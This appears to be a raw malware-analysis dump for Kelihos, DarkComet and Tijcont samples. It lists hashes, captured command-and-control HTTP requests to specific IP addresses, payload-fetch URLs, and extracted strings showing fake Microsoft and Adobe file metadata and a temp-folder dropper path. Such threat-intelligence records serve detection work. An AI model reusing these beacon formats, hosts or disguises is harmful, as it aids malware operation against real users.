File: Kelihos_C94DC5C9BB7B99658C275B7337C64B33
MD5:  c94dc5c9bb7b99658c275b7337c64b33
Size: 1220125





GET /index.htm HTTP/1.1
Host: 188.129.243.106
Content-Length: 164
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130331 Firefox/21.0

..D.lUUE..H@.q..#.....K.zfgE0F.A..K.z.fI..-.(.-..Q..uN.6.}k.P.@.......,$6....`j.....=+....C& m. c...og...5...7E.L.........[j=.K.).o.....b...O..........?H..'C.......HTTP/1.1 200 

Server: Apache
Content-Length: 229
Content-Type: 
Last-Modified: .., 08 ... 2013 22:22:53 GMT
Accept-Ranges: bytes
Server:nginx/1.2.6
Date:Sun, 08 Sep 2013 22:22:53 GMT
Last-Modified:Sun, 08 Sep 2013 22:22:53 GMT
Accept-Ranges:bytes

.@....^b....6F"g...#.)..c...Is...*..S.6.r....c..?Z|G.t.n....(..<..G
.U...........
hF..\.J....4S.%..yXc.K.n..8V...0em..S.. ...|w.u ......o...:hV..8.u........-.s.....2^f....)HN. 'h....C..#y,..;j.0~..u.F.i..9
!R.J=..YU..C....gWHL-..

GET /search.htm HTTP/1.1
Host: 188.129.243.106
Content-Length: 1721
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; da-dk) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Ascii Strings:
---------------------------------------------------------------------------
!This program cannot be run in DOS mode.
ERich
.text
`.idata
.rdata
@.data
.rsrc
NWVS
u7WPS
u&WVS
_^[]
t---------------------snip
{*v|u*v@w*v
x*vlz*v
n*vt}*v
.?AV_com_error@@
E1-,
HKCR
COMSVCS.ActivityUnmarshal.1 = s 'Activity Property Unmarshal Class'
CLSID = s '{ecabafaa-7f19-11d2-978e-0000f8757e2a}'
COMSVCS.ActivityUnmarshal = s 'Activity Property Unmarshal Class'
CurVer = s 'COMSVCS.ActivityUnmarshal.1'
NoRemove CLSID
ForceRemove {ecabafaa-7f19-11d2-978e-0000f8757e2a} = s 'Activity Property Unmarshal Class'
ProgID = s 'COMSVCS.ActivityUnmarshal.1'
VersionIndependentProgID = s 'COMSVCS.ActivityUnmarshal'
InprocServer32 = s '%MODULE%'
val ThreadingModel = s 'Both'
HKCR
COMSVCS.PartitionPropertyUnmarshal.1 = s 'Partition Property Unmarshal Class'
CLSID = s '{ecabafcc-7f19-11d2-978e-0000f8757e2a}'
COMSVCS.PartitionPropertyUnmarshal = s 'Partition Property Unmarshal Class'
CurVer = s 'COMSVCS.PartitionPropertyUnmarshal.1'
NoRemove CLSID
ForceRemove {ecabafcc-7f19-11d2-978e-0000f8757e2a} = s 'Partition Property Unmarshal Class'
ProgID = s 'COMSVCS.PartitionPropertyUnmarshal.1'
VersionIndependentProgID = s 'COMSVCS.PartitionPropertyUnmarshal'
InprocServer32 = s '%MODULE%'
val ThreadingModel = s 'Both'
HKCR
COMSVCS.TransactionUnmarshal.1 = s 'Transaction Property Unmarshal Class'
CLSID = s '{ecabafac-7f19-11d2-978e-0000f8757e2a}'
COMSVCS.TransactionUnmarshal = s 'Transaction Property Unmarshal Class'
CurVer = s 'COMSVCS.TransactionUnmar
D|jg
H(`e
~.F1
UK5 $
#;h5
ZnHQA
MmUrce
@MR5
BN<<M
-QS^
J-8,
9qrb
$y+V
oyHK
h>j2
sg I
Rb89'
54 'F
$y.V
oVHK
APV4
h,j2
n9p}b
3ve*
Up9p*
oQHK
APV0
hsj2
,y9pQs
rkSasdf
/xVt1:
Ax+j2
TJ?zU
1tf
Iq1:-pY
6TUl
s.XQv
R,E]"h
}\5#----------------------------snip
DZT.
|IJ=
KvTX
cG; (
QsUl4
H!bz
7b,^im
^4)G
M+B1
qZdy
l vE
ASzHF
vDog?x
i"@~
{KXw
@R^:S
kxb^
1ZWPs
Bh_tF
Oq7b=
y\Cg
AM,qTQ8c
$e<sj!
T>*i
G3['
[yuR\
$iX{tva
u$a!
N\YR
R)w)ff
4CDM
Z{|y
^$U1
w.K+@
#L;Cm
]-4"
"swl
N~B@/
82Oo
8h0K
*u$8t
mrUR?
sn$`W_t
"Oo{
}zMZ
qHxk
o,3^
F D|
1 k0
QjtM
 YX2&
J^++
d6owM4
M!kO
,rCp4
)/'T
>/t<
j+S8
^nd.%s
AT^i
?d'=]1
sU`cv4
%^gE
9r^ u
K0C9
:{/}6
-r)e
/:Oh
B"Gd
GYiJ
uaFM
p8C1
J=j$t
YJwc
BNWfg
7X:v
Oy1-
Dx1-
"B_bd
TQi(
BOlnI

Unicode Strings:
---------------------------------------------------------------------------
jjjj
jjjjj
jjjh
jjjj
jjjj
VS_VERSION_INFO
StringFileInfo
040904B0
CompanyName
Microsoft Corporation
FileDescription
Gemplus Cryptographic Service Provider
FileVersion
5.2.3790.1830 (srv03_sp1_rtm.050324-1447)
Inte
nalName
gpkcsp.dll
LegalCopyright
 Microsoft Corporation. All rights reserved.
OriginalFilename
gpkcsp.dll
ProductName
Microsoft
 Windows
 Operating System
ProductVersion
5.2.3790.1830
VarFileInfo
Translation
Gemplus GemSAFE Card CSP v1.0
Gemplus GemSAFE Card
GemSAFE\x0\x0
0SOFTWARE\Gemplus\Cryptography\SmartCards\GemSAFE$Cannot load GUI library into memory.
<<<Obsolete>>
SubC
2Windows .NET PRS Catalog
OnAppActivation;OnAppShutdown;OnAppForceShutdown
OnThreadStart;OnThreadTerminate;OnThreadBindToApartment;OnThreadUnBind;OnThreadWorkEnque;OnThreadWorkPrivate;OnThreadWorkPublic;OnThreadWorkRedirect;OnThreadWorkReject;OnThreadAssignApartment;OnThreadUnassignApartment
OnObjectCreate;OnObjectDestroy
OnTransactionStart;OnTransactionPrepare;OnTransactionAbort;OnTransactionCommit
OnMethodCall;OnMethodReturn;OnMethodException
OnObjectActivate;OnObjectDeactivate;OnDisableCommit;OnEnableCommit;OnSetComplete;OnSetAbort
OnUserEvent
OnAuthenticate;OnAuthenticateFail
OnResourceCreate;OnResourceAllocate;OnResourceRecycle;OnResourceDestroy;OnResourceTrack
OnObjPoolPutObject;OnObjPoolGetObject;OnObjPoolRecycleToTx;OnObjPoolGetFromTx
OnObjPoolCreateObject;OnObjPoolDestroyObject;OnObjPoolCreateDecision;OnObjPoolTimeout;OnObjPoolCreatePool
OnObjectConstruct
OnActivityCreate;OnActivityDestroy;OnActivityEnter;OnActivityTimeout;OnActivityReenter;OnActivityLeave;OnActivityLeaveSame
OnIISRequestInfo
OnQCRecord;OnQCQueueOpen;OnQCReceive;OnQCReceiveFail;OnQCMoveToReTryQueue;OnQCMoveToDeadQueue;OnQCPlayback
OnExceptionUser
OnCRMRecoveryStart;OnCRMRecoveryDone;OnCRMCheckpoint;OnCRMBegin;OnCRMPrepare;OnCRMCommit;OnCRMAbort;OnCRMIndoubt;OnCRMDone;OnCRMRelease;OnCRMAnalyze;OnCRMWrite;OnCRMForget;OnCRMForce;OnCRMDeliver
OnMethodCall2;OnMethodReturn2;OnMethodException2
OnAppActivation2;OnAppShutdown2;OnAppForceShutdown2;OnAppPaused2;OnAppRecycle2
OnTransactionStart2;OnTransactionPrepare2;OnTransactionAbort2;OnTransactionCommit2
OnObjectCreate2;OnObjectDestroy2
 OnObjPoolPutObject2;OnObjPoolGetObject2;OnObjPoolRecycleToTx2;OnObjPoolGetFromTx2
@OnObjectConstruct2
REGISTRY
TYPELIB
MOFDATA
COSMOFRESOURCE
WEVT_TEMPLATE
Microsoft-Windows-Wininit/Diagnostic
System
EventData
Data
Name
Win32Status
Win32Status
EventData
Data
Name
SessionId
Data
Name
Flags
SessionId
Flags
EventData
Data
Name
SessionId
Data
Name
IsRemote
Data
Name
GracePeriod
Data
Name
Flags
Data
Name
Reason
Data
Name
Message
SessionId
IsRemote
GracePeriod
Flags
Reason
Message
EventData
Data
Name
Flags
Flags
EventData
Data
Name
StringCount
Data
Name
String
StringCount
String
win:Info
win:Start
win:Stop
win:Warning
win:Informational
WaitForWinstationShutdown
PreShutdownNotification
WaitForSystemProcesses
ShutdownSystemRestore
ShutdownWindows
NtShutdownSystem
SentLogoffRequest
ReceivedShutdownRequest
ShutdownDiagnostics
PerfInstrumentation
PerfDiagnostics
win:EventlogClassic
VS_VERSION_INFO
StringFileInf
040904B0
CompanyName
Microsoft Corporation
FileDescription
Windows Start-Up Application
FileVersion
6.1.7600.16385 (win7_rtm.090713-1255)
InternalName
WinInit
LegalCopyright
 Microsoft Corporation. All rights reserved.
OriginalFilename
WinInit.exe
ProductName
Microsoft
 Windows
 Operating System
ProductVersion
6.1.7600.16385
VarFileInfo
Translation
WEVT_TEMPLATE
en-US

File: DarkKomet_DC98ABBA995771480AECF4769A88756E.exe_
MD5:  dc98abba995771480aecf4769a88756e
Size: 656896



GET /a.php?id=c2ViYWxpQGxpYmVyby5pdA== HTTP/1.1
Host: [ip.address]



Ascii Strings:
---------------------------------------------------------------------------
!This program cannot be run in DOS mode.
.text
`.rsrc
@.reloc
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
X(,C
x"^i
@h,A
PBr,
2r,YP
?x,-------------------------------------------snip
_2%,
d)@I
D _PM
D%h6
 Uihr!qsnfs`l!b`oonu!cd!sto!ho!ENR!lned/
/udyu
a/srsb
A/sdmnb
*5)+
*-)5
5Y)G
QY)G
UY)G
)Y)G
+/r]
*P*7
Zkdh
mRxrudl/Sdrntsbdr/SdrntsbdSd`eds-!lrbnsmhc-!Wdsrhno<3/1/1/1-!Btmutsd<odtus`m-!QtcmhbJdxUnjdo<c66`4b470825d198"Rxrudl/Sdrntsbdr/StouhldSdrntsbdRdu
Q@EQ@EQ
CRKC
w3/1/41636
"Rushofr
"FTHE
"Cmnc
=Lnetmd?
Uvdsj/emm
Sdrntsbdr
Uvdsj/Qsnqdsuhdr
QSNBDRR^HOGNSL@UHNO
RU@SUTQ^HOGNSL@UHNO
UnjdoQshwhmdfd
rvdf
lrbnsmhc
Rxrudl
Nckdbu
W`mtdUxqd
Rxrudl/Sdrntsbdr
SdrntsbdL`o`fds
sdrntsbdL`o
Rxrudl/Fmnc`mh{`uhno
BtmutsdHogn
sdrntsbdBtmutsd
/buns
fdu^SdrntsbdL`o`fds
fdu^Btmutsd
rdu^Btmutsd
Btmutsd
RidmmDydbtud@
Bsd`udQsnbdrr
FduUisd`eBnoudyu
RduUisd`eBnoudyu
Sd`eQsnbdrrLdlnsx
VshudQsnbdrrLdlnsx
OuTol`qWhdvNgRdbuhno
Whsut`m@mmnbDy
SdrtldUisd`e
LnwdGhmdDy
NqdoUnjdo
FduQshwhmdfdHE
RduQshwhmdfd
RituenvoDy
S`oenl
soeljdx
FduCsnvrdsQ`ui
Cdfho
Ru`suBLE
CSto
I`oemdSto
Rxrudl/Sdgmdbuhno
@rrdlcmx
StoBMS
Qdsr
Ru`suQdsr
QsnbdrrI`oemd
Uisd`eI`oemd
QsnbdrrHe
Uisd`eHe
Rh{d
Sdrdswde0
Edrjunq
Uhumd
Lhrb
Sdrdswde3
RueHoqtu
RueNtuqtu
RueDssns
Bntou
MTHE
Gm`fr
RUDQRH[D
BNQXMDOFUI
LM^CHUR
LM^L@RJ
STO^CHUR
STO^L@RJ
l^Edb@ss`x
l^Edb3u`cmd
BnqxLdlnsx
Edbnlqsdrr
w`mtd
Q`sdou
Nqds`uhnoUxqd
GhmdMnb`uhno
Q`s`ldudsr
Ru`suEhsdbunsx
RinvUxqd
`qqmhb`uhnoO`ld
bnll`oeMhod
qsnbdrr@uushctudr
uisd`e@uushctudr
hoidshuI`oemdr
bsd`uhnoGm`fr
dowhsnoldou
btssdouEhsdbunsx
ru`sutqHogn
qsnbdrrHognsl`uhno
uisd`e
bnoudyu
qsnbdrr
c`rd@eesdrr
ctggds
ctggdsRh{d
cxudrSd`e
cxudrVshuudo
i`oemd
`eesdrr
mdofui
uxqd
qsnudbu
ghmdO`ld
odvO`ld
gm`fr
`bbdrr
unjdo
l`bihod
o`ld
mthe
sdmd`rd
odvRu`ud
{dsn0
{dsn3
{dsn2
ldrr`fd
uhldntu
gnsbd
sdcnnu
sd`rno
ihed
`sfr
nobd
q`ui
e`u`
Choe
Hokdbu
bnlq`u`cmd
bnlq`uhcmd
rv`f
mnb`uhno
bnlqsdrrde
bnlqsdrrdeCtggds
edbnlqsdrrdeCtggds
bnlqsdrrdeRh{d
bnlqsdrrdeQnrhuhno
edbnlqsdrrdeQnrhuhno
l`yEdbnlqsdrrdeRh{d
@rrdlcmxUhumd@uushctud
@rrdlcmxEdrbshquhno@uushctud
@rrdlcmxBnoghfts`uhno@uushctud
@rrdlcmxBnlq`ox@uushctud
@rrdlcmxQsnetbu@uushctud
@rrdlcmxBnqxshfiu@uushctud
@rrdlcmxUs`edl`sj@uushctud
@rrdlcmxBtmutsd@uushctud
Rxrudl/Stouhld/HoudsnqRdswhbdr
BnlWhrhcmd@uushctud
Fthe@uushctud
@rrdlcmxWdsrhno@uushctud
@rrdlcmxGhmdWdsrhno@uushctud
Rxrudl/Rdbtshux/Qdslhrrhnor
RdbtshuxQdslhrrhno@uushctud
Rdbtshux@buhno
Rxrudl/Eh`fonruhbr
Edctff`cmd@uushctud
EdctffhofLnedr
Rxrudl/Stouhld/BnlqhmdsRdswhbdr
Bnlqhm`uhnoSdm`y`uhnor@uushctud
StouhldBnlq`uhchmhux@uushctud
Uvdsj
Rxrudl/BnedEnl/Bnlqhmds
Fdods`udeBned@uushctud
EdctffdsOnoTrdsBned@uushctud
BnlqhmdsFdods`ude@uushctud
SdgdsdobdDpt`mr
Uxqd
StouhldUxqdI`oemd
FduUxqdGsnlI`oemd
fdu^@rrdlcmx
Rxrudl/BnlqnodouLnedm
DehunsCsnvr`cmd@uushctud
DehunsCsnvr`cmdRu`ud
EmmHlqnsu@uushctud
Ridmm23
jdsodm23/emm
ouemm/emm
`ew`qh23/emm
NqdoQsnbdrrUnjdo
MnnjtqQshwhmdfdW`mtd
@ektruUnjdoQshwhmdfdr
Hohuh`udRxrudlRituenvoDy
Rushof
Dlqux
UnBi`s@ss`x
Odyu
Bi`s
Bnob`u
Lhbsnrngu/Vho23
Sdfhrusx
SdfhrusxJdx
Bm`rrdrSnnu
NqdoRtcJdx
BtssdouTrds
FduW`mtd
UnRushof
UnMnvds
Sdqm`bd
DoerVhui
M`ruHoedyNg
Rtcrushof
Bmnrd
Rxrudl/Vhoenvr/Gnslr
@qqmhb`uhno
fdu^Dydbtu`cmdQ`ui
Rxrudl/HN
GhmdHogn
Q`ui
FduUdlqQ`ui
GhmdRxrudlHogn
fdu^O`ld
Ghmd
Dyhrur
Qsnbdrr
QsnbdrrRu`suHogn
QsnbdrrVhoenvRuxmd
rdu^VhoenvRuxmd
Dowhsnoldou
fdu^RxrudlEhsdbunsx
rdu^GhmdO`ld
rdu^@sftldour
rdu^Ru`suHogn
Ru`su
Rxrudl/Odu
VdcBmhdou
HVdcQsnyx
rdu^Qsnyx
Envomn`eE`u`
Vshud@mmCxudr
HouQus
[dsn
Mn`e
Bnlchod
Gnsl`u
L`sri`m
Rh{dNg
Bnowdsu
UnTHou23
HrOtmmNsDlqux
Dybdquhno
ChuBnowdsuds
UnHou23
Hou23
UnHou07
Cxud
Ctggds
@ss`x
CmnbjBnqx
FduCxudr
FduQsnbdrrCxHe
Jhmm
Rxrudl/Uisd`ehof
Q`s`ldudsh{deUisd`eRu`su
Uisd`e
@q`suldouRu`ud
Rdu@q`suldouRu`ud
LduineHogn
fdu^DousxQnhou
LduineC`rd
Q`s`ldudsHogn
FduQ`s`ldudsr
Hownjd
FduGhmdO`ld
V`huGnsDyhu
FduBtssdouQsnbdrr
fdu^I`oemd
/bbuns
RustbuM`xntu@uushctud
M`xntuJhoe
L`sri`m@r@uushctud
Tol`o`fdeUxqd
RCxud
=Qshw`udHlqmdldou`uhnoEdu`hmr?z2EG@GG58,GB4B,5538,8142,97BE60GEGB41|
%%lduine1y7111139,0
StouhldIdmqdsr
StouhldGhdmeI`oemd
Hohuh`mh{d@ss`x
%%lduine1y7111139,3
Rxrudl/Rdbtshux
Towdshgh`cmdBned@uushctud
Uvdsj/Qsnqdsuhdr/Sdrntsbdr/sdrntsbdr
2Rxrudl/Sdrntsbdr/Unnmr/RusnofmxUxqdeSdrntsbdCthmeds
5/1/1/1
Uvdsj
Bnqxshfiu!
!!3102
%75e522e5,0c16,5205,c424,1`9gd`e`104`
0/1/1/1
Vs`qOnoDybdquhnoUisnvr
Rxrudl/Rdbtshux/Qdslhrrhnor/RdbtshuxQdslhrrhno@uushctud-!lrbnsmhc-!Wdsrhno<3/1/1/1-!Btmutsd<odtus`m-!QtcmhbJdxUnjdo<c66`4b470825d198
RjhqWdshghb`uhno
SRER
b;]Trdsr]@elho]Edrjunq]Edctf!Bsxquds]Uvdsj]nck]Edctf]Uvdsj/qec
^BnsEmmL`ho
lrbnsdd/emm
BSJB
v2.0.50727
#Strings
#GUID
#Blob
<Module>
755978578VMServer.exe
Program
frmMain
mscorlib
System
Object
System.Windows.Forms
Form
Main
System.Reflection
Assembly
assembly
Persistance
System.ComponentModel
ComponentResourceManager
manager
.ctor
EventArgs
tick_Tick
GetResource
SetVisibleCore
InitializeComponent
System.Collections.Generic
List`1
AquireData
Decrypt
sender
ResName
value
swag
data
AssemblyTitleAttribute
AssemblyDescriptionAttribute
AssemblyProductAttribute
AssemblyCompanyAttribute
AssemblyCopyrightAttribute
AssemblyVersionAttribute
AssemblyFileVersionAttribute
System.Security.Permissions
SecurityPermissionAttribute
SecurityAction
System.Runtime.CompilerServices
CompilationRelaxationsAttribute
RuntimeCompatibilityAttribute
755978578VMServer
STAThreadAttribute
Application
EnableVisualStyles
SetCompatibleTextRenderingDefault
System.Resources
ResourceManager
GetObject
Load
Int32
Boolean
Type
GetTypes
MethodInfo
GetMethods
ToArray
MethodBase
Invoke
Byte
.cctor
RuntimeTypeHandle
GetTypeFromHandle
System.Security
UnverifiableCodeAttribute
frmMain.resources
host
Adobe Reader Installer
Solid State Networks
(Copyright (C) Adobe Systems Incorporated
3.3.7.0
WrapNonExceptionThrows
System.Security.Permissions.SecurityPermissionAttribute, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
SkipVerification
_CorExeMain
mscoree.dll
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
    <security>
      <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
        <requestedExecutionLevel level="asInvoker" uiAccess="false"/>
      </requestedPrivileges>
    </security>
  </trustInfo>
</assembly>

Unicode Strings:
---------------------------------------------------------------------------
 [O'
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
Comments
Adobe Reader Installer
CompanyName
Solid State Networks
FileDescription
host
FileVersion
3.3.7.0
InternalName
755978578VMServer.exe
LegalCopyright
Copyright (C) Adobe Systems Incorporated
OriginalFilename
755978578VMServer.exe
ProductName
Adobe Reader Installer
ProductVersion
3.3.7.0
Assembly Version
3.3.7.0

File: Tijcont
MD5:  845b0945d5fe0e0aaa16234dc21484e0
Size: 475152





GET /3.txt HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Host: 110.34.198.123:888
Connection: Keep-Alive

GET /s/blog_b2afd7fe01019tkf.html HTTP/1.1
User-Agent: getURLDown
Host: blog.sina.com.cn

GET /album/w=1600;q=90/sign=862e65d610dfa9ecfd2e521152e0cc72/9358d109b3de9c82a5a5fe456d81800a18d84333.jpg HTTP/1.1
User-Agent: loadMM
Host: e.hiphotos.bdimg.com

Ascii Strings:
---------------------------------------------------------------------------
!This program cannot be run in DOS mode.
?zRich
.text
`.rdata
@.rsrc
hG @
hq @
hc @
hG @
%< @
%8 @
%  @
%$ @
%( @
%0 @
c:\windows\temp\temp%d.exe
wsprintfA
MessageBoxA
user32.dll
CloseHandle
CreateFileA
ExitProcess
GetFileSize
GetModuleFileNameA
GetSystemInfo
ReadFile
SetFilePointer
VirtualAlloc
VirtualFree
WriteFile
kernel32.dll
ShellExecuteA
shell32.dll
!This program cannot be run in DOS mode.
RichM
.text
`.rdata
@.data
.rsrc
WPQj
SUVWj
T$(j
@h`0@
-d @
h\0@
IQRV
D$0k
-T @
L$Tf
T$hjfR
D$pP
SSSSj
L$8Qj
T$TR
=l @
hp0@
D$TP
_^]3
hSVW
>"u:F
XPVSS
CloseHandle
FreeResource
Sleep
WriteFile
CreateFileA
DeleteFileA
SizeofResource
LockResource
LoadResource
FindResourceA
GetModuleFileNameA
WaitForSingleObject
CreateEventA
GetProcAddress
LoadLibraryA
GetWindowsDirectoryA
GetTickCount
KERNEL32.dll
RegisterClassA
LoadCursorA
LoadIconA
USER32.dll
GetStockObject
GDI32.dll
RegCloseKey
RegSetValueExA
RegOpenKeyA
RegCreateKeyExA
StartServiceA
ControlService
ChangeServiceConfigA
OpenServiceA
OpenSCManagerA
ADVAPI32.dll
sprintf
rand
srand
MSVCRT.dll
_exit
_XcptFilter
exit
_acmdln
__getmainargs
_initterm
__setusermatherr
_adjust_fdiv
__p__commode
__p__fmode
__set_app_type
_except_handler3
_controlfp
GetModuleHandleA
GetStartupInfoA
DLLPath
SYSTEM\CurrentControlSet\Services\RemoteAccess\RouterManagers\Ip
c:\NT_Path.jpg
Glable__Wait
Advapi32.dll
CloseServiceHandle
RemoteAccess
%s%d.dll
My Win32
Bome
!This program cannot be run in DOS mode.
U1Rich,
.text
`.rdata
@.data
.rsrc
@.reloc
Wh `
SSSS
SSSS
j PQ
F@j RP
_^][
_^]2
_^]2
GD_^][
SUVWh(a
_^]2
{@Rh
_^]2
CE][Y
SUVWh
_^]3
D$ y
[_^]
[_^]
^][Y
QSUV
.PQV
^][Y
SUVW
_^]3
_^]3
_^]3
_^]d
 SUVW
_^]2
_^]2
L$ j
_^]2
uLj0
_^][
_^][
t$$P
_^][
L$(j
D$,P
L$(QU
_^][
t$ W
D$$@
D$$|
_^][
t$ f
t-f=e
t'f=
WWRh
Sh@8
Sh@8
|$$3
L$ f
D$$P
D$ 3
D$ j
;|$ r
_^]3
T$(f
T$,f
L$(Q
T$$j0
L$ j
;|$ r
][_3
T$(h
T$(h
_^]3
|$$3
L$ f
D$(P
L$ j0
_^]3
_^][
L$ f
t}j0
_^]3
L$<j
T$8j
T$Qf
D$(E
T$)f
D$.@
D$ Pf
T$Th
D$DPf
D$&f
|$xf
T$|j
|$|f
T$dj
j(PQ
]_^3
SUVW
_^][d
HGPW
?\uK
8\uC
tY<\uG
L$,h
|$8h
L$<QVVVVVU
L$8GQ
<AtG<BtC
T$ j
|$0W
_^][
D$ %
D$!s
D$"\
D$$.
_^][
jBWS
L$T$
L$(QR
L$$US
_^][
D$ .
_^]2
|$D.tL
L$DQV
^_][
^_][
\u!V
D$,W
D$(u
|$\.
D$\PWVh
L$ U
D$ ;
T$0RP
L$,Q
_^]d
_^jk
_^][
_^][
{ PW
T$$j
_^][
_^][
_^][d
L$0Ph
L$0Q
L$0Ph
L$0Q
t$`W
QRPPPPPPVP
D$L(c
t$`W
QRPPPPPPVP
|$`j/W
D$@D
D$H(c
D$$o
D$%p
D$&e
D$'n
_^][
Ph`Q
Ph@R
Ph S
Ph W
HFPVj
Vh f
L$8SQ
t"j0
D$8SP
_^][
_^][
SUVWj
PWVS
_^][Y
T$ h
L$ Q
D$"Q
l$4SQ
T$$VU
D$$[
D$<_^][
< uX
;!u'
(SVW3
QSSSSSSSSj
QSUV
_^][Y
T$$h
tiWS
PWVS
.RPS
_^][
SSSUh
_^][
_^][
_^][
_^][
_^][
_^][
L$@h
T$@h
T$@3
D$DRP
D$TSUVW
_^][d
_^][
QSUVW
_^][Y
_^][d
tfjdj
t5jdj
QSVW
IGQW
JGRW
_^][
QSUVW
_^][Y
_^][
QUVWh$e
t4j0
wQt1-
_][^
t\SV
t6WS
SUWV
_][^
DSUV
n0hTe
F,PQR
NDPQ
FDQj
FLRP
VHQR
F(RPj
^][d
QSUV
_^][d
\$(UVW3
D$$P
NxRPQ
~0;~,}
_^][
_^]3
SUVWh
N(Uj
^4Uj
_^]2
QSVW
_^[Y
NLRj
SUVW
VPQR
FDQRPUSQ
NLRQ
NLh
RPQUSj
T$@j
_^][
SUVh
\$ 3
D$ Q
RWPVj
T$4j
_^][Y
:;9t_
SUVW
L$(3
L$$j
T$$j
L$8Q
D$@D
D$|h
T$8QRj
u'j0
^][d
QSUV
_^][d
PSUQ
^_][
SUVWh8f
D$$h
PQVR
D$$h
$t&Ht
HAPQ
_^[Y
UVW3
D$0(
D$(PQ
T$,j0
T$0j0
L$LQ
jBVS
t$LA
L$(QR
jBWS
(VWj0
7jBQU
(_^]
T$,Vj
D$ Q
L$ Rh`
SUVW
SUVW3
UUUUh
l$ u
_^]2
_^]2
L$(Ph
|$(MZu'
T$$SR
L$0PQR
L$ Q
SSSS
SSSSSSSSh
L$@jdQV
,SUVW
_^][
_^]2
_^]2
RSh,
Pj,h-
_^]2
Rj,h
QPPVhp
_^][
Fxh@g
_^][
F,_^[
L$ d
l$0t
L$ d
D$ M263
D$$IV32
D$(MP42
D$,cvid
vidc
Qhvidc
FDtX
Vxhlg
FLPQh
NDhTg
NHQU
NLPQh
^[_]d
FxSW
SUVWh
L$LjdQV
D$tW3
D$xf
QRSVSSf
Shpc
T$ QRSh
L$(R
L$df
D$4
SUVWh
_^][
_^][
_^][
SUVW
PhPn
_^]3
D$$Q
D$,f
D$0tn
WPjfP
t$8h
WWWh
WWWh
ItJU
\u+V
]_^[
,SVW3
VWh?
SUVW
T$$QR
D$|P
PQSh?
SSSRh
D$|P
_^][
SUVW
T$ h
L$(PQ
_^][
_^][
_^@[
SUVW
L$$j
|$TR
_^][
_^]3
\$.f
\$6f
T$ f
|$"f
L$$f
D$&f
|$(f
T$*f
t$,f
D$0f
|$2f
t$4f
L$8f
D$:f
|$<f
T$>f
L$@f
L$Bf
L$Ff
D$Hf
|$Jf
T$Lf
L$Nf
L$Pf
t$Rf
D$Tf
D$Vf
L$Xf
D$Zf
L$\f
T$^f
t$`f
D$bf
D$df
L$ff
D$hf
L$jf
T$lf
T$nf
L$pf
D$rf
T$tf
t$vf
D$xf
\$zf
D$|f
|$~f
SUV3
_^]3
T$<VW
D$DS
\$DV
N(PQ
~(9~$u
_^][
_^][
_^][
_^][
|$08
W(9W$u
\$ ;
D$(;
_^][
_^][
tZ9H tU9H$tP
n ux
_^]3
F|UV
_^]3
_^]3
_^]3
V(PR
N(PQ
V(QR
B<Wf
_^][
U0SQR
Fdf+Fh
Nlw^
~@B3
SUVW
T$ v
D$(8D*
D$ ;
_^][
QSUV
nXtX
f+F\
VlH3
NlBI
FlAH
^][Y
_^]3
G(RP
G0_^
W(VR
G(Sj
W(QR
G(VP
D$8S
\$8U
C0V;
L$Ds
D$$R
L$,P
T$4Q
D$<RP
D$<Q
L$DR
T$LPQR
 s,3
T$D;
T$Ds
|$HPWS
T$Ds
D$ u"
T$Ds
L$ +
t$Hj
N(PQ
D$4s
L$ ;
L$DRQ
L$0R
T$(PQR
N(PQ
T$DPVS
L$Ds
L$LQP
_^][
_^][
_^][
_^][
D$HQ
_^][
_^][
T$LRWS
_^][
L$D+
T$LRP
_^][
_^][
L$L+
_^][
F(RP
_^][
L$LQV
_^][
F(RP
_^][
V(QR
T$HVS
_^][
_^][
L$LQVS
K4PVS
_^][
_^][
_^][
L$H+
_^][
N(PQ
F(RP
N(WQ
|$ WUSV
@APQV
_^][
D$$f
T$ RV
_^][
_^][
D$$SUV
L$03
t$ f
D$0tb
D$0H
_^][
]_^[Y
HPQV
JRPV
_^][
T$ }
]_^[
l$ 3
l$ f
l$ f
l$ f
t$ W
WVQR3
D$,s
D$(3
L$$r
D$$#
D$(3
L$$r
D$$#
D$(3
L$$r
D$$#
D$(3
L$$r
D$$#
T$,RWV
;N,u
T$,RWV
T$,RWV
_^][
_^][
L$,QWV
_^][
T$,RWV
_^][
_^][
_^][
_^][
|$ j
L$ RUPj
W(SR
^]_[Y
W(SR
^]_[Y
9t$Tu
:_^]3
T$,v
T+3x%A
t$Dy
t$DB
L$,;
T$,+
L$H;
D$1+
T$0+
;D$<s!
;D$<r
|$8M#
L$,B;
t$D3
\$,UV
C(Wj
L$4R
T$,PQh
L$8R
T$(P
D$0Qh
C(WP
_^][Y
K(WQ
_^][Y
K(WQ
_^][Y
K(WQ
_^][Y
S(WR
_^][Y
S(WR
_^][Y
K<UWQ
K<UVQ
L$(SU
t$0#
t$4#
L$,+
l$(+
l$(+
GFMu
GFIu
GFIu
GFIu
\$8+
{4_^]3
\$8+
{4_^]
\$8+
{4_^]
NWVS
u7WPS
u&WVS
_^[]
 deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly
 inflate 1.1.4 Copyright 1995-2002 Mark Adler
CreateEventA
LoadLibraryA
FreeLibrary
CloseHandle
TerminateThread
Sleep
GetProcAddress
WaitForSingleObject
SetEvent
ResumeThread
CreateThread
DeleteCriticalSection
VirtualFree
LeaveCriticalSection
EnterCriticalSection
VirtualAlloc
GetLastError
ResetEvent
InterlockedExchange
CancelIo
GetTickCount
GetLocalTime
GetCurrentProcessId
HeapAlloc
GetProcessHeap
DeleteFileA
CreateDirectoryA
GetFileAttributesA
lstrcpyA
lstrlenA
GetDriveTypeA
